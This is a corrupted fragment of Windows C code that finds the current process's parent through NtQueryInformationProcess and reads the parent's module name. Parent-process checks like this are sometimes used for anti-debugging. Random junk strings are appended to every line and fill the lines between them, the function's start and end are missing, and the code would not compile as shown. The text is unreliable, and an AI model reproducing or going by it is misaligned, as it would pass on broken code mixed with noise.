dy;Ue5
PROCNTQSIP NtQueryInformationProcess; C ".&m
ZJ@M}-4O1
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #[C|%uq
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8l0%:6XbI
gd-4hR
HANDLE hProcess; n|Vs2 7
PROCESS_BASIC_INFORMATION pbi; a= ;7
&96I4su
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^wCjMi(sj
if(NULL == hInst ) return 0; PmO utYV
MRiQaUg2
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mF[w-<:.d
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xxgS!J
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f2B?Zn
G*ZHLLO4S\
if (!NtQueryInformationProcess) return 0; J{Ei+@^/9
B@` 87
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R4u=.
if(!hProcess) return 0; 0#KDvCBJ
J5}-5sV^
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pj G6v(zK
2f16 /0J@
CloseHandle(hProcess); 7^#f<m;Ar!
eyy{z;D8r
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u[dR*o0'
if(hProcess==NULL) return 0; oJbD|m
wIz<Y{HA=
HMODULE hMod; .a1WwI
char procName[255]; u{yENZ^P
unsigned long cbNeeded; [
/w{,+U
cHs@1R/-s
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $R%xeih1fz
pHEhB9_A!
CloseHandle(hProcess); $&